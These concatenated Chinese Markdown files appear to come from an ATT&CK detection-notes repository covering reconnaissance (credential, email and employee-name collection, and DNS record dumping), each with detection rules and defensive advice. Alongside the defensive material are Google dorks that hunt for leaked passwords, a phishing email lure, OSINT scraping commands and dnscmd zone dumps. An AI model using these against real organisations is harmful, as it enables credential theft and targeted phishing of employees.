安全 ID: WEIDONG\Administrator
帐户名: Administrator
帐户域: WEIDONG
登录 ID: 0x816DF
成员:
安全 ID: WEIDONG\wang
帐户名: -
组:
安全 ID: WEIDONG\None
组名: None
组域: WEIDONG
附加信息:
4726
已删除用户帐户。
使用者:
安全 ID: WEIDONG\Administrator
帐户名: Administrator
帐户域: WEIDONG
登录 ID: 0x816DF
目标帐户:
安全 ID: WEIDONG\wang
帐户名: wang
帐户域: WEIDONG
附加信息:
特权
```
## 检测规则/思路
整体上看特征还是很明显的,重点关注账户删除日志。
## 参考推荐
系统监视器(Sysmon)工具的使用
Windows_API_Tools
================================================
FILE: Windows/01侦察/T1589.001-收集目标组织身份信息-凭证.md
================================================
# T1589-001-收集目标组织身份信息-凭证
## 描述
攻击者通过收集目标组织身份信息-凭证(T1589.001)获取受害者的身份数据(如员工姓名、电子邮件地址、用户名、密码等),为后续攻击(如钓鱼 T1566、有效账号 T1078 或凭证爆破 T1110)提供情报。这些操作通常在攻击者的外部环境(如自己的主机、云服务)进行,例如通过社交媒体爬取、搜索引擎挖掘(如 Google Hacking)、网络情报工具(如 Shodan、FOFA)、钓鱼攻击或公开数据泄露(如密码数据库)收集凭证。由于这些活动发生在目标组织视野之外,直接检测较为困难,但凭证可能被用于后续的初始访问或横向移动。
## 测试案例
#### 测试案例 1:Google Hacking 搜索凭证
**关联技术**:T1589.001(凭证收集)
**说明**:
- 使用 Google Hacking 语法搜索公开暴露的凭证或敏感信息,通常在攻击者自己的设备上执行。
**示例操作**:
```bash
:: 在浏览器中输入以下 Google 搜索语法
intext:password filetype:txt site:*.org
intext:username password site:pastebin.com
intext:"email password" site:*.gov
```
**输出示例**:
```
- 搜索结果可能包含公开的文本文件或 Pastebin 页面,泄露用户名和密码。
- 示例:user:admin password:Admin2025
- 示例:email:john.doe@example.org password:Pass1234
```
**说明**:
- 攻击者利用搜索引擎发现目标组织的凭证或敏感信息。
- 关联 T1589.001:通过公开数据收集身份信息。
#### 测试案例 2:社交媒体爬取员工信息
**关联技术**:T1589.001(凭证收集)
**说明**:
- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名、职位、电子邮件等信息,通常使用爬虫工具或 OSINT 框架。
**示例操作**(Python 伪代码):
```python
import requests
url = "https://www.linkedin.com/company/example-org/people/"
response = requests.get(url)
# 解析 HTML,提取员工信息
# 输出:姓名、职位、可能的电子邮件
```
**输出示例**:
```
Name: John Doe, Title: IT Manager, Email: john.doe@example.org
Name: Jane Smith, Title: HR Director, Email: jane.smith@example.org
```
**说明**:
- 收集员工身份信息,用于定制钓鱼攻击。
- 关联 T1589.001:通过社交媒体获取凭证相关数据。
#### 测试案例 3:钓鱼模拟收集凭证
**关联技术**:T1589.001(凭证收集)、T1566(钓鱼)
**说明**:
- 攻击者发送钓鱼邮件或创建伪造登录页面,诱导目标输入凭证,通常在外部服务器上执行。
**示例操作**:
- 发送伪造邮件,包含链接到攻击者控制的登录页面:
```
Subject: 紧急:请验证您的账号
Body: 请点击以下链接更新您的密码:http://fake-example.com/login
```
- 伪造登录页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
username=johndoe&password=Pass1234
```
**说明**:
- 通过钓鱼攻击收集用户凭证。
- 关联 T1589.001:通过钓鱼获取凭证。
#### 测试案例 4:查询公开数据泄露
**关联技术**:T1589.001(凭证收集)
**说明**:
- 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标邮箱的泄露凭证,通常在攻击者设备上通过 API 或网站执行。
**示例操作**:
```bash
:: 在浏览器访问
https://haveibeenpwned.com/
:: 输入目标邮箱:john.doe@example.org
```
**输出示例**:
```
Breaches:
- LinkedIn (2012-05-05)
- Adobe (2013-10-04)
```
**说明**:
- 检查目标邮箱是否出现在数据泄露中,可能获取密码。
- 关联 T1589.001:通过公开泄露获取凭证。
#### 测试案例 5:使用 OSINT 工具收集身份信息
**关联技术**:T1589.001(凭证收集)
**说明**:
- 使用开源情报(OSINT)工具(如 Maltego、SpiderFoot)收集目标组织的身份信息,包括邮箱、用户名或关联账号。
**示例操作**:
- 在 Maltego 中:
- 输入目标域名:example.org
- 运行变换(Transform):提取邮箱、社交媒体账号
**输出示例**:
```
Domain: example.org
Emails: john.doe@example.org, jane.smith@example.org
Twitter: @JohnDoe, @JaneSmith
```
**说明**:
- 整合公开数据,构建目标身份画像。
- 关联 T1589.001:通过 OSINT 获取凭证相关信息。
## 建议
1. **防御措施**:
- **员工培训**:开展反钓鱼和隐私保护培训,提高员工对伪造邮件和社交工程的警惕性。
- **数据最小化**:限制员工在社交媒体和公开网站上暴露的身份信息(如邮箱、职位)。
- **邮件网关**:部署反钓鱼网关,检测伪造邮件和可疑链接。
- **密码策略**:强制使用强密码,定期更换,避免密码重用。
- **多因素认证(MFA)**:为所有账号启用 MFA,降低凭证被盗风险。
2. **后续阶段监控**:
- 监控钓鱼攻击(T1566),如异常登录尝试(事件 ID 4624)或可疑邮件点击。
- 检测有效账号使用(T1078),如非预期时间/地点的登录。
- 使用 EDR 或 SIEM 关联异常行为,如凭证爆破(T1110)或外部 API 请求。
3. **外部情报监控**:
- 定期检查公开数据泄露(如 Have I Been Pwned),通知员工更新受损凭证。
- 监控社交媒体和暗网,识别针对组织的身份信息收集。
- 与威胁情报服务合作,获取针对组织的侦察预警。
4. **降低误报**:
- 区分合法的员工行为(如访问 LinkedIn)与攻击者的爬取活动。
- 结合上下文分析,如异常访问时间、来源 IP 或高频查询。
## 参考推荐
- MITRE ATT&CK:T1589-001
================================================
FILE: Windows/01侦察/T1589.002-收集目标组织身份信息-邮件地址.md
================================================
# T1589-002-收集目标组织身份信息-邮件地址
## 描述
在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的电子邮件地址信息(T1589.002)。这些信息可用于后续攻击活动,包括但不限于目标定位、其他形式的侦察(如搜索开放网站/域或钓鱼攻击 T1566)、建立运营资源(如创建钓鱼邮件账号)或实现初始访问(如凭证爆破 T1110 或鱼叉式钓鱼 T1566.001)。即使组织内部使用私有邮件系统,员工的电子邮件地址也可能通过公开渠道暴露,例如社交媒体、公司官网、数据泄露事件等。由于这些活动通常在目标组织的视野之外(如攻击者的设备或云服务)进行,直接检测较为困难。
攻击者收集电子邮件地址的动机包括:
- **推测账号命名规律**:通过分析邮箱地址的命名模式,推测其他系统的账号命名规则,便于后续攻击(如凭据爆破)。
- **弱口令利用**:某些公共邮箱(如 `hr@xxx.com`)可能存在弱口令,易被攻击者利用。
- **精准钓鱼**:利用收集到的邮箱地址发送定制化的钓鱼邮件,提高攻击成功率。
**参考来源**:
- HackersArise Email
- CNET Leaks
## 测试案例
以下测试案例展示了攻击者可能使用的邮箱地址收集方法,聚焦于 Windows 环境或通用网络环境下的操作。
#### 测试案例 1:Google Hacking 搜索邮箱地址
**关联技术**:T1589.002(邮箱收集)
**说明**:
- 攻击者利用 Google 搜索引擎的高级语法搜索目标组织的公开邮箱地址,通常在攻击者自己的设备上执行。
**示例操作**:
```bash
:: 在浏览器中输入以下 Google 搜索语法
site:example.com intext:@example.com
site:example.com "联系我们" | "contact us"
intext:email filetype:pdf site:example.com
```
**输出示例**:
```
- 搜索结果可能包含公司官网的联系页面或 PDF 文件,泄露邮箱地址。
- 示例:john.doe@example.com
- 示例:hr@example.com
```
**说明**:
- 通过公开网页或文档挖掘邮箱地址。
- 关联 T1589.002:通过搜索引擎收集邮箱信息。
#### 测试案例 2:社交媒体爬取邮箱信息
**关联技术**:T1589.002(邮箱收集)
**说明**:
- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工邮箱地址,通常使用爬虫工具或手动查询。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/people/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取员工信息
emails = [email for email in soup.find_all(text=lambda t: '@example.com' in t)]
print(emails)
```
**输出示例**:
```
Emails: john.doe@example.com, jane.smith@example.com
```
**说明**:
- 收集员工邮箱,用于后续钓鱼或推测账号命名规律。
- 关联 T1589.002:通过社交媒体获取邮箱信息。
#### 测试案例 3:查询公开数据泄露
**关联技术**:T1589.002(邮箱收集)
**说明**:
- 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标邮箱是否出现在泄露事件中,通常通过 API 或网站执行。
**示例操作**:
```bash
:: 在浏览器访问
https://haveibeenpwned.com/
:: 输入目标邮箱:john.doe@example.com
:: 或使用 API
curl -H "hibp-api-key: YOUR_API_KEY" "https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com"
```
**输出示例**:
```
Breaches:
- LinkedIn (2012-05-05)
- Adobe (2013-10-04)
Emails: john.doe@example.com
```
**说明**:
- 检查目标邮箱是否泄露,可能获取关联的用户名或密码。
- 关联 T1589.002:通过数据泄露获取邮箱信息。
#### 测试案例 4:使用 The Harvester 收集邮箱
**关联技术**:T1589.002(邮箱收集)
**说明**:
- 使用 The Harvester 工具从 Google、Bing、PGP 服务器等公共来源收集目标域名的邮箱地址。
**示例操作**:
```bash
:: 在攻击者设备上运行
theharvester -d example.com -b google,bing,pgp -l 500
```
**输出示例**:
```
Emails found:
- john.doe@example.com
- jane.smith@example.com
- hr@example.com
```
**说明**:
- 自动化收集目标域名的邮箱地址,适用于渗透测试早期阶段。
- 关联 T1589.002:通过 OSINT 工具获取邮箱信息。
#### 测试案例 5:使用 Infoga 收集邮箱信息
**关联技术**:T1589.002(邮箱收集)
**说明**:
- 使用 Infoga 工具从公共搜索引擎、PGP 密钥服务器和 Shodan 收集邮箱相关信息(如 IP、主机名)。
**示例操作**:
```bash
:: 在攻击者设备上运行
python infoga.py --domain example.com --source all
```
**输出示例**:
```
Emails:
- john.doe@example.com (Source: Google)
- jane.smith@example.com (Source: Bing)
- hr@example.com (Source: PGP)
```
**说明**:
- 整合多源数据,构建目标组织的邮箱列表。
- 关联 T1589.002:通过自动化工具获取邮箱信息。
## 检测日志
由于邮箱地址收集通常发生在目标组织的外部(如公开数据源或攻击者设备),直接监测较为困难。可能的检测日志包括:
- **Web 服务器日志**:记录异常的爬虫行为(如高频访问“联系我们”页面)。
- 示例事件:`GET /contact HTTP/1.1` 从异常 IP 或 User-Agent。
- **DNS 查询日志**:记录异常的子域名查询,可能与 The Harvester 等工具相关。
- 示例事件:高频查询 `mail.example.com` 或 `smtp.example.com`。
- **邮件网关日志**:检测钓鱼邮件的发送者地址,可能与收集到的邮箱相关。
- 示例事件:可疑邮件从 `spoofed@example.com` 发送。
## 测试复现
由于邮箱收集属于被动信息收集,无法直接在目标系统上复现攻击行为。测试复现步骤包括:
1. 使用 Google Hacking 语法(如 `site:example.com intext:@example.com`)搜索目标邮箱。
2. 使用 The Harvester 或 Infoga 扫描目标域名,收集公开邮箱地址。
3. 查询 Have I Been Pwned 检查目标邮箱是否出现在泄露数据库中。
4. 模拟爬取 LinkedIn 或公司官网,提取员工邮箱信息。
**示例复现环境**:
- 操作系统:Windows 10 或 Kali Linux
- 工具:The Harvester、Infoga、Python 爬虫脚本
- 目标:example.com
## 测试留痕
被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括:
- **Web 服务器日志**:记录攻击者的爬虫 IP 或异常访问模式。
- 示例:`192.168.1.100 - - [26/May/2025:07:44:00 +0000] "GET /contact HTTP/1.1" 200 1234`
- **第三方平台日志**:如 GitHub 或 LinkedIn 的查询记录(需平台合作获取)。
- **DNS 查询日志**:记录异常的子域名查询。
## 检测规则/思路
检测邮箱收集活动的重点在于间接证据和后续攻击阶段的关联分析:
1. **监控异常爬虫行为**:
- 检查 Web 服务器日志,识别高频访问联系页面或敏感文件的 IP。
- 示例规则(伪代码):
```log
if (GET /contact | /about > 100 requests/hour from single IP) then alert
```
- 使用 WAF 设置反爬虫规则,拦截异常 User-Agent。
2. **DNS 查询监控**:
- 检测高频或异常的子域名查询(如 `mail.example.com`)。
- 示例规则(伪代码):
```log
if (DNS query for *.example.com > 50/hour from single IP) then alert
```
3. **数据泄露监控**:
- 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱的泄露情况。
- 订阅威胁情报服务,获取泄露预警。
4. **邮件网关检测**:
- 监控可疑的钓鱼邮件(如伪造的发件人地址)。
- 示例规则(伪代码):
```log
if (email from *.example.com and SPF fail) then alert
```
5. **SIEM 关联分析**:
- 整合 Web 服务器、DNS 和邮件网关日志,检测异常模式。
- 示例:关联爬虫访问与后续钓鱼邮件的发送者 IP。
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、社交媒体等公开渠道暴露员工邮箱地址,使用通用邮箱(如 `info@xxx.com`)或联系表单。
- 对官网的联系页面设置反爬虫机制(如 CAPTCHA 或限流)。
2. **加强密码安全**:
- 对公共邮箱(如 `hr@xxx.com`)设置强密码,启用多因素认证(MFA)。
- 定期检查邮箱账号是否存在弱口令或泄露凭据。
3. **员工培训**:
- 开展反钓鱼培训,教育员工识别伪造邮件和可疑链接。
- 指导员工避免在社交媒体泄露工作邮箱或敏感信息。
4. **数据泄露监控**:
- 定期使用 Have I Been Pwned 或类似服务检查组织邮箱的泄露情况。
- 建立数据泄露响应机制,及时更新受损账号的凭据。
5. **主动 OSINT 评估**:
- 使用 The Harvester 或 Infoga 模拟攻击者行为,评估组织在公开渠道的暴露程度。
- 定期检查 GitHub、Pastebin 等平台是否泄露组织邮箱。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 监控邮件网关日志,检测可疑邮件点击或附件打开。
- 示例事件:Windows 事件 ID 4663(文件访问)。
- **凭证爆破(T1110)**:
- 监控异常登录尝试,如 Windows 事件 ID 4625(登录失败)。
- 示例规则:`if (failed logins > 5 in 1 minute from single IP) then alert`。
- **有效账号使用(T1078)**:
- 检测非预期时间或地点的登录,如 Windows 事件 ID 4624(登录成功)。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织的侦察或数据泄露预警。
- 监控暗网或 Pastebin,识别泄露的邮箱地址。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
### 降低误报
- 区分合法用户行为(如员工访问官网)与攻击者的爬取活动,结合访问时间、IP 地理位置等上下文。
- 使用机器学习模型分析 Web 流量,识别异常爬虫模式。
- 定期更新检测规则,避免误报正常员工的邮件或 DNS 查询。
## 参考推荐
- MITRE ATT&CK:T1589-002
- 邮箱信息收集 - 白帽与安全
================================================
FILE: Windows/01侦察/T1589.003-收集目标组织身份信息-员工姓名.md
================================================
# T1589-003-收集目标组织身份信息-员工姓名
## 描述
在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的员工姓名信息(T1589.003)。这些信息可用于后续攻击活动,包括推导电子邮件地址、指导其他侦察工作(如搜索开放网站/域 T1592 或钓鱼 T1566)、建立运营资源(如创建伪造账号)或实现初始访问(如鱼叉式钓鱼 T1566.001 或有效账号使用 T1078)。员工姓名通常通过公开渠道暴露,例如社交媒体、公司官网、招聘网站或数据泄露事件。由于这些活动通常在目标组织的视野之外(如攻击者的设备或云服务)进行,直接检测较为困难。
攻击者收集员工姓名的动机包括:
- **推导邮箱地址**:结合姓名和组织邮箱命名规律,构造员工邮箱地址(如 `john.doe@example.com`),用于钓鱼或凭证爆破(T1110)。
- **定制化诱饵**:利用员工姓名制作更可信的钓鱼邮件或社交工程攻击,提高成功率。
- **身份画像**:结合姓名、职位等信息,构建目标组织的身份架构,为后续攻击提供情报。
**参考来源**:
- HackersArise Email
- CNET Leaks
## 测试案例
以下测试案例展示了攻击者可能使用的员工姓名收集方法,聚焦于 Windows 环境或通用网络环境下的操作。
#### 测试案例 1:通过招聘网站收集员工姓名
**关联技术**:T1589.003(员工姓名收集)
**说明**:
- 攻击者通过购买招聘网站(如智联招聘、猎聘)账号或利用免费试用功能,访问目标组织的员工姓名和职位信息。
**示例操作**:
- 注册招聘网站账号,搜索目标组织(如 `example.com`)。
- 浏览公开的员工简历或企业页面,提取姓名和职位。
**输出示例**:
```
Name: 张伟, Title: IT Manager
Name: 李娜, Title: HR Specialist
```
**说明**:
- 招聘网站通常包含员工的姓名、职位和工作经历,易被攻击者利用。
- 关联 T1589.003:通过招聘平台收集员工姓名。
#### 测试案例 2:社交媒体爬取员工姓名
**关联技术**:T1589.003(员工姓名收集)
**说明**:
- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名,通常使用爬虫工具或手动查询。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/people/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取员工姓名
names = [name.text for name in soup.find_all('a', class_='profile-link')]
print(names)
```
**输出示例**:
```
Names: John Doe, Jane Smith, 张伟, 李娜
```
**说明**:
- 收集员工姓名和职位,用于推导邮箱或定制钓鱼攻击。
- 关联 T1589.003:通过社交媒体获取员工姓名。
#### 测试案例 3:查询公司官网或公开文档
**关联技术**:T1589.003(员工姓名收集)
**说明**:
- 攻击者通过公司官网的“关于我们”或“团队”页面,或公开的 PDF 文档(如年报、新闻稿)提取员工姓名。
**示例操作**:
```bash
:: 使用 Google Hacking 搜索
site:example.com intext:"our team" | "about us"
site:example.com filetype:pdf intext:employee
```
**输出示例**:
```
- 官网团队页面:John Doe (CEO), Jane Smith (CTO)
- 年报 PDF:张伟 (IT Manager), 李娜 (HR Specialist)
```
**说明**:
- 公开网页或文档可能泄露员工姓名和职位。
- 关联 T1589.003:通过公司官网收集员工姓名。
#### 测试案例 4:使用 OSINT 工具收集员工信息
**关联技术**:T1589.003(员工姓名收集)
**说明**:
- 使用开源情报(OSINT)工具(如 Maltego、SpiderFoot)收集目标组织的员工姓名和关联信息。
**示例操作**:
- 在 Maltego 中:
- 输入目标域名:`example.com`
- 运行变换(Transform):提取员工姓名、职位、社交媒体账号
**输出示例**:
```
Domain: example.com
Names: John Doe (IT Manager), Jane Smith (HR Director)
LinkedIn: linkedin.com/in/johndoe, linkedin.com/in/janesmith
```
**说明**:
- 整合公开数据,构建目标组织的员工画像。
- 关联 T1589.003:通过 OSINT 工具获取员工姓名。
#### 测试案例 5:查询数据泄露数据库
**关联技术**:T1589.003(员工姓名收集)
**说明**:
- 使用公开数据泄露数据库(如 Have I Been Pwned)查询目标组织的员工姓名和邮箱,可能通过泄露数据推导姓名。
**示例操作**:
```bash
:: 在浏览器访问
https://haveibeenpwned.com/
:: 输入目标邮箱:john.doe@example.com
:: 或使用 API
curl -H "hibp-api-key: YOUR_API_KEY" "https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com"
```
**输出示例**:
```
Breaches:
- LinkedIn (2012-05-05): John Doe, john.doe@example.com
- Adobe (2013-10-04): Jane Smith, jane.smith@example.com
```
**说明**:
- 通过泄露数据提取员工姓名和邮箱。
- 关联 T1589.003:通过数据泄露获取员工姓名。
## 检测日志
由于员工姓名收集通常发生在目标组织的外部(如公开数据源或攻击者设备),直接监测较为困难。可能的检测日志包括:
- **Web 服务器日志**:记录异常的爬虫行为,如高频访问“关于我们”或“团队”页面。
- 示例事件:`GET /about HTTP/1.1` 从异常 IP 或 User-Agent。
- **DNS 查询日志**:记录异常的子域名查询,可能与 OSINT 工具(如 Maltego)相关。
- 示例事件:高频查询 `www.example.com` 或 `team.example.com`。
- **第三方平台日志**:如 LinkedIn 或招聘网站的访问记录(需平台合作获取)。
## 测试复现
由于员工姓名收集属于被动信息收集,无法直接在目标系统上复现攻击行为。测试复现步骤包括:
1. 使用 Google Hacking 语法(如 `site:example.com intext:"our team"`)搜索员工姓名。
2. 使用 Maltego 或 SpiderFoot 扫描目标域名,提取员工姓名和职位。
3. 查询 Have I Been Pwned 检查目标邮箱是否泄露,推导员工姓名。
4. 模拟爬取 LinkedIn 或公司官网,提取员工姓名信息。
**示例复现环境**:
- 操作系统:Windows 10 或 Kali Linux
- 工具:Maltego、SpiderFoot、Python 爬虫脚本
- 目标:`example.com`
## 测试留痕
被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括:
- **Web 服务器日志**:记录攻击者的爬虫 IP 或异常访问模式。
- 示例:`192.168.1.100 - - [26/May/2025:07:44:00 +0000] "GET /about HTTP/1.1" 200 1234`
- **第三方平台日志**:如 LinkedIn 或招聘网站的查询记录(需平台合作获取)。
- **DNS 查询日志**:记录异常的子域名查询。
## 检测规则/思路
检测员工姓名收集活动的重点在于间接证据和后续攻击阶段的关联分析:
1. **监控异常爬虫行为**:
- 检查 Web 服务器日志,识别高频访问“关于我们”或“团队”页面的 IP。
- 示例规则(伪代码):
```log
if (GET /about | /team > 100 requests/hour from single IP) then alert
```
- 使用 WAF 设置反爬虫规则,拦截异常 User-Agent。
2. **DNS 查询监控**:
- 检测高频或异常的子域名查询(如 `team.example.com`)。
- 示例规则(伪代码):
```log
if (DNS query for *.example.com > 50/hour from single IP) then alert
```
3. **数据泄露监控**:
- 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱和姓名的泄露情况。
- 订阅威胁情报服务,获取泄露预警。
4. **邮件网关检测**:
- 监控可疑的钓鱼邮件,可能使用收集到的员工姓名定制内容。
- 示例规则(伪代码):
```log
if (email contains employee name and SPF fail) then alert
```
5. **SIEM 关联分析**:
- 整合 Web 服务器、DNS 和邮件网关日志,检测异常模式。
- 示例:关联爬虫访问与后续钓鱼邮件的发送者 IP。
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、社交媒体或招聘网站暴露员工姓名和职位,使用通用联系方式(如 `info@xxx.com`)或匿名化团队介绍。
- 对官网的“关于我们”或“团队”页面设置反爬虫机制(如 CAPTCHA 或限流)。
2. **员工隐私保护**:
- 指导员工在社交媒体(如 LinkedIn)限制公开信息,避免泄露姓名、职位或工作邮箱。
- 定期清理或匿名化招聘网站上的员工简历。
3. **数据泄露监控**:
- 定期使用 Have I Been Pwned 或类似服务检查组织邮箱和姓名的泄露情况。
- 建立数据泄露响应机制,及时通知员工更新受损账号的凭据。
4. **员工培训**:
- 开展反钓鱼和社交工程培训,教育员工识别伪造邮件和可疑链接。
- 提高员工对隐私保护的意识,避免在公开场合泄露姓名或职位。
5. **主动 OSINT 评估**:
- 使用 Maltego 或 SpiderFoot 模拟攻击者行为,评估组织在公开渠道的暴露程度。
- 定期检查 GitHub、Pastebin 或社交媒体是否泄露员工姓名。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 监控邮件网关日志,检测使用员工姓名定制的钓鱼邮件。
- 示例事件:Windows 事件 ID 4663(文件访问)。
- **凭证爆破(T1110)**:
- 监控异常登录尝试,如 Windows 事件 ID 4625(登录失败)。
- 示例规则:`if (failed logins > 5 in 1 minute from single IP) then alert`。
- **有效账号使用(T1078)**:
- 检测非预期时间或地点的登录,如 Windows 事件 ID 4624(登录成功)。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织的侦察或数据泄露预警。
- 监控暗网或 Pastebin,识别泄露的员工姓名和邮箱。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
### 降低误报
- 区分合法用户行为(如员工访问官网)与攻击者的爬取活动,结合访问时间、IP 地理位置等上下文。
- 使用机器学习模型分析 Web 流量,识别异常爬虫模式。
- 定期更新检测规则,避免误报正常的官网访问或 DNS 查询。
## 参考推荐
- MITRE ATT&CK:T1589-003
- 数据泄露查询工具
-
-
-
- Maltego 文档
- SpiderFoot 文档
================================================
FILE: Windows/01侦察/T1590-win-DNS记录获取.md
================================================
# T1590-收集目标组织网络信息-DNS记录获取
## 描述
在入侵目标组织之前,攻击者可能通过多种方式收集目标组织的 DNS 记录信息(T1590)。这些信息可用于目标定位、了解网络架构或指导后续攻击活动(如钓鱼 T1566、有效账号 T1078 或服务探测 T1046)。DNS 记录(如 A、MX、CNAME、TXT 等)通常通过公开渠道或内部权限获取,暴露目标组织的服务器、邮件系统或其他关键基础设施。由于这些活动可能在目标组织的视野之外(如攻击者的设备或公开 DNS 查询)或内部环境中(如利用已获得的权限)进行,检测具有一定挑战性。
在域渗透场景中,DNS 记录是了解目标域内网络架构的重要情报。例如,获取 MX 记录可揭示邮件服务器地址,A 记录可暴露主机 IP,CNAME 记录可揭示子域名关系。如果攻击者已获得域内权限(如管理员权限),DNS 记录可进一步帮助其识别关键资产或薄弱点,为横向移动(T1021)或数据泄露(T1537)提供支持。
**参考来源**:
- 3gstudent: 域渗透——DNS记录的获取
- Microsoft: dnscmd 文档
## 测试案例
以下测试案例展示了攻击者可能使用的 DNS 记录收集方法,聚焦于 Windows 环境下的操作(内部权限场景)和外部公开信息收集。
#### 测试案例 1:使用 dnscmd 获取 DNS 记录
**关联技术**:T1590(DNS 记录获取)
**说明**:
- 攻击者在已获得域内权限(如管理员权限)的情况下,使用 Windows 内置工具 `dnscmd` 查询 DNS 服务器的记录。
**适用系统**:
- Windows Server 2003/2008/2012(含 R2 版本)
- Windows 7/10(需安装 Remote Server Administration Tools, RSAT)
**示例操作**:
```cmd
:: 查询 DNS 区域信息
dnscmd . /ZoneInfo example.com
:: 枚举所有 DNS 区域
dnscmd . /EnumZones
:: 显示区域中的所有记录
dnscmd . /ZonePrint example.com
```
**输出示例**:
```
Zone: example.com
Type: Primary
Records:
@ A 192.168.1.10
mail A 192.168.1.20
www CNAME web.example.com
MX 10 mail.example.com
```
**说明**:
- `dnscmd` 是 Windows Server 的命令行工具,用于管理 DNS 服务器,需管理员权限。
- 关联 T1590:通过内部权限获取 DNS 记录。
#### 测试案例 2:使用 PowerShell 获取 DNS 记录
**关联技术**:T1590(DNS 记录获取)
**说明**:
- 攻击者在域内环境中使用 PowerShell 的 `DnsServer` 模块查询 DNS 记录,替代即将弃用的 `dnscmd`。
**示例操作**:
```powershell
# 导入 DnsServer 模块
Import-Module DnsServer
# 查询 DNS 区域信息
Get-DnsServerZone -Name "example.com"
# 查询特定记录
Get-DnsServerResourceRecord -ZoneName "example.com"
```
**输出示例**:
```
ZoneName: example.com
ZoneType: Primary
Records:
HostName: @, RecordType: A, Data: 192.168.1.10
HostName: mail, RecordType: A, Data: 192.168.1.20
HostName: www, RecordType: CNAME, Data: web.example.com
HostName: @, RecordType: MX, Data: 10 mail.example.com
```
**说明**:
- PowerShell 是 Microsoft 推荐的 `dnscmd` 替代工具,适用于 Windows Server 2012 及以上版本。
- 关联 T1590:通过 PowerShell 获取 DNS 记录。
#### 测试案例 3:外部 DNS 查询(公开信息)
**关联技术**:T1590(DNS 记录获取)
**说明**:
- 攻击者通过外部工具(如 `nslookup`、`dig` 或在线服务)查询目标组织的公开 DNS 记录。
**示例操作**:
```bash
:: 使用 nslookup 查询 MX 记录
nslookup -type=MX example.com
:: 使用 dig 查询所有记录
dig example.com ANY
```
**输出示例**:
```
;; ANSWER SECTION:
example.com. 3600 IN A 192.168.1.10
example.com. 3600 IN MX 10 mail.example.com
example.com. 3600 IN TXT "v=spf1 mx -all"
```
**说明**:
- 公开 DNS 查询无需权限,可从攻击者的设备执行。
- 关联 T1590:通过外部查询获取 DNS 记录。
#### 测试案例 4:使用 OSINT 工具收集 DNS 信息
**关联技术**:T1590(DNS 记录获取)
**说明**:
- 使用开源情报(OSINT)工具(如 The Harvester、dnsdumpster)收集目标组织的 DNS 记录和子域名。
**示例操作**:
```bash
:: 使用 The Harvester 枚举子域名和 DNS 记录
theharvester -d example.com -b google,dnsdumpster
```
**输出示例**:
```
Subdomains:
- mail.example.com (A: 192.168.1.20)
- www.example.com (CNAME: web.example.com)
- vpn.example.com (A: 192.168.1.30)
```
**说明**:
- OSINT 工具整合公开数据,适用于外部侦察阶段。
- 关联 T1590:通过 OSINT 工具获取 DNS 记录。
#### 测试案例 5:查询数据泄露中的 DNS 信息
**关联技术**:T1590(DNS 记录获取)
**说明**:
- 攻击者通过数据泄露数据库或暗网市场获取目标组织的 DNS 相关信息(如子域名或服务器 IP)。
**示例操作**:
- 访问 Pastebin 或暗网市场,搜索目标域名 `example.com`。
- 使用 Have I Been Pwned 检查与域名相关的泄露数据。
**输出示例**:
```
Pastebin Leak:
- Subdomain: internal.example.com, IP: 192.168.1.100
- MX: mail.example.com, IP: 192.168.1.20
```
**说明**:
- 数据泄露可能暴露内部 DNS 记录或配置。
- 关联 T1590:通过数据泄露获取 DNS 信息。
## 检测日志
DNS 记录获取可能发生在外部(公开查询)或内部(利用权限),检测日志因场景而异:
- **Windows 安全日志**(内部场景):
- **事件 ID 4688**(新进程创建):记录 `dnscmd.exe` 或 PowerShell 进程的启动。
- 示例:`New Process Name: C:\Windows\System32\dnscmd.exe`
- **事件 ID 4674**(权限分配):记录对 DNS 服务器的高权限操作。
- **DNS 服务器日志**:
- 记录异常的 DNS 查询,如高频查询特定区域或记录类型(A、MX、TXT)。
- 示例:`Query: example.com, Type: ANY, Source: 192.168.1.100`
- **网络流量日志**:
- 外部查询可能产生异常的 DNS 请求(如高频 `ANY` 查询)。
- 示例:`UDP 53, Source: 203.0.113.1, Query: mail.example.com`
- **Web 服务器日志**(OSINT 场景):
- 记录爬取公司官网的异常访问,可能与子域名推测相关。
- 示例:`GET /sitemap.xml HTTP/1.1` 从异常 IP。
## 测试复现
### 内部场景(已获得权限)
1. **环境**:Windows Server 2016,域管理员权限。
2. **步骤**:
- 安装 RSAT(若未预装 `dnscmd`)。
- 执行 `dnscmd . /ZoneInfo example.com` 或 `Get-DnsServerZone -Name example.com`。
3. **预期结果**:返回 DNS 区域信息和记录(如 A、MX、CNAME)。
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有 `nslookup`/`dig` 的系统。
2. **步骤**:
- 执行 `nslookup -type=MX example.com` 或 `dig example.com ANY`。
- 使用 The Harvester:`theharvester -d example.com -b dnsdumpster`。
3. **预期结果**:返回公开的 DNS 记录和子域名。
